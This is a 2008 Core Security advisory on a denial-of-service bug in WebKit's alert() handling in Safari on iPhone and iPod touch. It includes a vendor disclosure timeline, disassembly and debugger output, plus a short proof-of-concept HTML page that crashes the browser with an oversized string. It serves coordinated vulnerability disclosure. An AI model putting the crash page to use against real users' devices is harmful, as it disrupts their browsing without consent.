iPhone Safari JavaScript alert Denial of Service

Advisory ID Internal
CORE-2008-0603

1. Advisory Information

Title: iPhone Safari JavaScript alert Denial of Service
Advisory ID: CORE-2008-0603
Date published: 2008-09-12
Date of last update: 2008-09-11
Vendors contacted: Apple Security
Release mode: Coordinated release

2. Vulnerability Information

Class: Client-side Denial of Service
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 31061
CVE Name: CVE-2008-3950

3. Vulnerability Description

Apple Safari is the default web browser included on Apple iPhone. A vulnerability has been found on the WebKit library used by Safari inside iPhone. By inserting a special string on the alert() JavaScript method, it's possible to crash Safari via an outbound memory read triggering an access violation.

4. Vulnerable packages

  • iPhone v1.1.4 and v2.0
  • iPod touch v1.1.4 and v2.0

5. Non-vulnerable packages

  • iPhone v2.1
  • iPod Touch v2.1

6. Vendor Information

The information on this section was provided verbatim by the vendor.

6.1. Availability

Apple security updates are available via the Software Update mechanism:
http://support.apple.com/kb/HT1338

6.2. Cross-References

We generally do not publish advisories for denial of service issues unless there are more serious security consequences. As such, we are not planning to describe the fix for this issue, but we do appreciate your having reported it to us. If you provide cross-referencing information in your advisory please link to the following URL:
http://support.apple.com/kb/HT1222

7. Credits

Nicolas Economou from Core Security discovered and researched this vulnerability.

8. Technical Description / Proof of Concept Code

The vulnerability is located in the library WebKit used by Safari on iPhone.

The vulnerable function is _web_drawInRect:withFont:ellipsis:alignment:measureOnly: : NSString(WebStringDrawing) which is one of the functions used by the alert() method on this implementation of JavaScript.

The alert() method receives a string parameter to be showed on screen. When this string parameter is large, the library maps the required memory to store it.

As the memory page size is 4096 bytes, the reserved memory is rounded-up, that is, the rest of the page is marked as reserved but unused. If a string has length divisible by 4096, it fits exactly in the memory reserved, no bytes are left unused.

When the vulnerable function is called, it calls the method WebCore::nextBreakablePosition in charge of searching for "breakable" characters, for example a space, character "-", etcetera, and returns the position where the first "breakable" character was found. This method takes as parameter the same string passed to the alert on JavaScript.

In the case that no "breakable" characters are found, it returns the final position of the string plus 1. For example, if the string size is 0x1000 and the function doesn't find anything, it return position 0x1000, counting from zero, obviously.

The crash is generated when function _web_drawInRect:withFont:ellipsis:alignment:measureOnly receives as parameter a large string with a size multiple of 4096 without "breakable" characters and then passes it to method WebCore::nextBreakablePosition. Once the method is called, it uses the return value to access the out-of-bound string position, just outside of the memory allocated and possibly located on a non-mapped memory area.

The vulnerability is produced by an invalid access read.

The function fragment where the vulnerability was found is showed:

31739CB4 MOV R1, R8 ; R1=string 31739CB8 MOV R2, R10 ; R10=string len 31739CBC MOV R3, R8 31739CC0 MOV R0, R4 31739CC4 BL WebCore::nextBreakablePosition(ushort const*,int,int,bool) 31739CC8 LDR R1, =0x1008 31739CCC MOV R3, R0,LSL#1 ; R0=returned position 31739CD0 MOV R5, R0 31739CD4 LDRH R0, [R4,R3] ; <---- CRASH="" !!! 31739CD8 ADD R6, R4, R3 31739CDC BL _u_getIntPropertyValue 31739CE0 CMP R0, #0x1D 31739CE4 BHI loc_31739D1C

 

The following proof of concept HTML code generates the string with length multiple of 4096 to demonstrate the bug.

 <html> <body> <form> <script type="text/javascript" language="JavaScript"> var st = "A"; alert ( "Crashing Safari on iPhone..." ); for ( var d = 1 ; d <= 16 ; d ++ ) { st += st; } alert ( st ); </script> </form> </body> </html>

 

When debugging Safari on iPhone with iphonedbg the proof-of-concept produces the following output:

ACCESS VIOLATION r0=00010000 r1=00001008 r2=00000041 r3=00020000 r4=02e00000 r5=00010000 r6=00000001 r7=2ffff04c r8=00000000 r9=3800da94 r10=00010000 r11=001833e0 r12=ffffffff sp=2fffe70c lr=31739cc8 pc=31739cd4 ctrl=60000010 WebCore!-[NSString(WebStringDrawing) _web_drawInRect:withFont:ellipsis:alignment:measureOnly:]+268: pc=31739cd4 b3 00 94 e1 ldrh r0, [r4, r3]

 

It can be seen that the instruction ldrh r0, [r4, r3] tries to read the memory location pointed by R4+R3, in this case, unmapped memory. Making a dump of the memory area accessed, we see the following:

31739cd4> db r4+r3-40 02e1ffc0 | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A. 02e1ffd0 | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A. 02e1ffe0 | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A. 02e1fff0 | 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 | A.A.A.A.A.A.A.A. 02e20000 | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ???????????????? 02e20010 | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ???????????????? 02e20020 | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ???????????????? 02e20030 | ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? | ????????????????

 

9. Report Timeline

  • 2008-07-21: Core notifies the vendor of the bug and sends the advisory draft (with PoC). Core states that version 1.1.4 and previous versions are affected.
  • 2008-07-24: Core asks for confirmation of reception of the previous email.
  • 2008-07-24: Vendor acknowledges and states that they will analyze the bug.
  • 2008-07-29: Vendor confirms the existence of the bug, but doesn't consider that this client-side denial-of-service affects the security of the system. It communicates that version 2.0 is also affected and requests to wait until a patch is available before releasing the advisory.
  • 2008-07-29: Core replies that further testing reveals that 2.0 is also affected (crash sent), that the issue is considered by Core as a security problem, and asks for concrete information regarding dates and versions of the patch.
  • 2008-07-29: Vendor confirms that versions 1.1.4 and 2.0.0 are affected, and declines to provide an estimated date for the release of fixed versions at that moment.
  • 2008-07-29: Core requests an estimation of when the update information will be available.
  • 2008-08-04: Vendor replies that the timeframe will be communicated to Core as soon as they have it.
  • 2008-08-26: Core asks for any update of the schedule to fix the DoS, and notifies the Vendor that the publication was rescheduled to September 16th.
  • 2008-09-05: Vendor estimates that their patch and security bulletin would be released early on September 7th week.
  • 2008-09-05: Core confirms that the advisory will be released as soon as the security bulletin is sent to Core.
  • 2008-09-08: Core requests a more precise timing to the vendor.
  • 2008-09-08: Vendor confirms that the Apple patch is not going out on Monday 8th, and requests Core to hold off the advisory until the Vendor's security bulletin is out.
  • 2008-09-11: Core requests the vendor a new date for re-scheduling the publication of advisory CORE-2008-0603, notice that a security update has been released for iPod touch on September 9th without notification to Core and asks for details.
  • 2008-09-12: Vendor responds that the update of September 9th tackles the bug for iPod touch and the update released on Friday 12th tackles it for iPhone.
  • 2008-09-12: Core publishes advisory CORE-2008-0603.

10. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://www.coresecurity.com/corelabs.

11. About Core Security 

Core Security develops strategic solutions that help security-conscious organizations worldwide develop and maintain a proactive process for securing their networks. The company's flagship product, CORE IMPACT, is the most comprehensive product for performing enterprise security assurance testing. CORE IMPACT evaluates network, endpoint and end-user vulnerabilities and identifies what resources are exposed. It enables organizations to determine if current security investments are detecting and preventing attacks. Core Security augments its leading technology solution with world-class security consulting services, including penetration testing and software security auditing. 

13. Disclaimer

The contents of this advisory are copyright (c) 2008 Core Security and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.